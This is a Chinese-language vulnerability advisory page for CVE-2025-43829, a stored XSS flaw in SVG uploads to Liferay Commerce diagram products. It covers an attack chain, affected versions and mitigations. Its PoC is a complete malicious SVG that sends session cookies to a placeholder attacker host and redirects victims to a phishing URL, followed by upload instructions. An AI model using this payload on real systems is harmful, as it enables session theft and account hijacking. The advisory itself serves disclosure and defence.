IPBUF安全漏洞报告
English
CVE-2025-43829 CVSS 5.4 中危

CVE-2025-43829:Liferay Portal/DXP Commerce图表存储型XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-43829
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal 和 Liferay DXP(Commerce模块)

相关标签

Stored XSS跨站脚本攻击Liferay PortalLiferay DXPCommerceSVG注入中危漏洞CVSS 5.4企业门户安全Web应用漏洞

漏洞概述

CVE-2025-43829是Liferay Portal和Liferay DXP产品Commerce模块中图表类型产品(diagram type products)功能存在的存储型跨站脚本(Stored XSS)漏洞。该漏洞由[email protected]发现并报告,于2025年10月8日正式披露,CVSS 3.1评分为5.4分,属于中危级别。

Liferay是业界知名的企业级开源门户和数字体验平台(DXP),被广泛应用于构建企业网站、门户、电子商务平台和内容管理系统。其Commerce模块提供了完整的电子商务解决方案,包括产品管理、订单处理、支付集成等功能。其中图表类型产品(diagram type products)允许商家上传和展示包含图表、示意图等视觉元素的产品信息。

该漏洞的根本原因在于系统在处理用户上传的SVG(可缩放矢量图形)文件时,未能充分过滤和净化文件中的脚本内容。攻击者可以构造一个包含恶意JavaScript代码或HTML标签的SVG文件,并将其作为图表类型产品的资源上传到Liferay Commerce平台。由于是存储型XSS,恶意载荷会被持久化存储在服务器端,当其他用户(包括管理员)访问包含该图表产品信息的页面时,恶意脚本将在受害者浏览器中自动执行。

根据CVSS向量分析,该漏洞可被远程利用(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),且需要用户交互(UI:R)才能触发攻击。成功利用后,攻击者可在受害者会话上下文中执行任意脚本,可能窃取会话Cookie、劫持用户账户、进行钓鱼攻击或执行未授权操作。漏洞的影响范围为变更(Scope Changed, S:C),表明攻击影响超出了存在漏洞组件的范围。

技术细节

该漏洞属于典型的存储型XSS攻击,其技术原理如下:

1. **SVG文件特性利用**:SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,与普通图片不同,SVG文件本质上是一个XML文档,可以包含JavaScript脚本、事件处理器(如onload、onclick等)以及HTML元素。当浏览器渲染SVG文件时,会执行其中嵌入的脚本代码,这为XSS攻击提供了载体。

2. **输入验证缺失**:Liferay Commerce的图表类型产品功能允许用户上传SVG格式的图片资源,但在文件上传和处理过程中,系统未对SVG文件内容进行充分的安全过滤和净化(sanitization),未剥离其中的<script>标签、事件处理器属性或恶意JavaScript代码。

3. **存储与渲染流程**:攻击者首先通过合法认证账户(低权限要求)登录Liferay Commerce后台,上传一个精心构造的恶意SVG文件作为图表类型产品的展示资源。该SVG文件中嵌入了恶意的JavaScript代码(如窃取Cookie、创建伪造表单、发起CSRF请求等)。文件上传后,恶意载荷被持久化存储在Liferay服务器中。

4. **攻击触发机制**:当其他用户(特别是管理员或其他有权限查看图表产品的用户)浏览包含该图表产品的页面时,服务器将该恶意SVG文件返回给浏览器,浏览器解析SVG时自动执行其中嵌入的JavaScript代码。由于脚本在受害者的会话上下文中执行,攻击者可以窃取会话令牌、执行未授权操作或进行进一步的攻击活动。

5. **影响范围扩大**:CVSS向量中S:C(Scope Changed)表明该漏洞的影响超出了Commerce组件本身,可能影响到整个Liferay Portal/DXP平台的用户会话和数据安全。

攻击链分析

STEP 1
步骤1:注册合法账户
攻击者在目标Liferay Portal/DXP平台上注册一个低权限的合法用户账户,获取Commerce模块的基本访问权限。
STEP 2
步骤2:构造恶意SVG文件
攻击者精心构造一个包含恶意JavaScript代码的SVG文件,代码功能包括窃取用户会话Cookie、收集用户信息或执行未授权操作。
STEP 3
步骤3:上传恶意SVG资源
攻击者以图表类型产品(diagram type product)的形式,将恶意SVG文件上传到Liferay Commerce平台。由于系统未对SVG内容进行安全过滤,恶意载荷被成功存储。
STEP 4
步骤4:等待受害者访问
攻击者等待目标用户(如管理员、有权限的用户)浏览包含该图表产品的页面。受害者无需进行特殊操作,只需正常访问页面即可触发攻击。
STEP 5
步骤5:恶意脚本执行
当受害者浏览器加载包含恶意SVG的页面时,SVG中的JavaScript代码自动执行,在受害者会话上下文中运行。攻击者可窃取会话令牌、劫持账户或执行其他恶意操作。
STEP 6
步骤6:数据窃取与权限提升
攻击者利用窃取的会话信息,可能进一步获取管理员权限,访问敏感数据,或在平台内进行横向移动,造成更大范围的安全损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-43829 PoC: Malicious SVG file for Stored XSS in Liferay Commerce Diagram Products --> <!-- Save the following content as 'malicious.svg' and upload it as a diagram type product resource in Liferay Commerce --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" viewBox="0 0 500 500"> <!-- Malicious JavaScript payload embedded in SVG --> <script type="text/javascript"> // Steal session cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the victim // fetch('/api/jsonws/user/get-current-user', {credentials: 'include'}) // .then(r => r.json()) // .then(data => { // new Image().src = "https://attacker-server.com/userinfo?" + JSON.stringify(data); // }); </script> <!-- Event handler based payload (alternative trigger) --> <rect x="0" y="0" width="500" height="500" fill="#ffffff" onload="document.location='https://attacker-server.com/phishing?ref='+document.domain"/> <!-- Visible content to disguise the malicious payload --> <circle cx="250" cy="250" r="100" fill="#4A90E2" stroke="#333" stroke-width="2"/> <text x="250" y="260" text-anchor="middle" font-family="Arial" font-size="20" fill="white">Product Diagram</text> </svg> <!-- Usage: 1. Login to Liferay Commerce as an authenticated user (low privilege required) 2. Navigate to Commerce > Products > Create a diagram type product 3. Upload this malicious.svg file as the product's diagram/image resource 4. Wait for a victim (e.g., admin or other users) to view the product page 5. The embedded JavaScript will execute in the victim's browser context -->

影响范围

Liferay Portal 7.4.3.18 - 7.4.3.111
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.8
Liferay DXP 7.4 update 18 - update 92

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)或反向代理层面添加规则,阻止包含<script>标签或JavaScript事件处理器的SVG文件上传;2)在服务器端配置SVG文件解析器,对上传的SVG文件进行XML安全验证,移除所有脚本元素和事件处理器;3)部署严格的内容安全策略(CSP),限制内联脚本执行;4)对已上传的图表产品资源进行安全审查,移除可疑的SVG文件;5)监控Commerce模块的异常活动,特别是大量SVG文件上传行为;6)限制图表类型产品的上传权限,仅允许可信的管理员操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表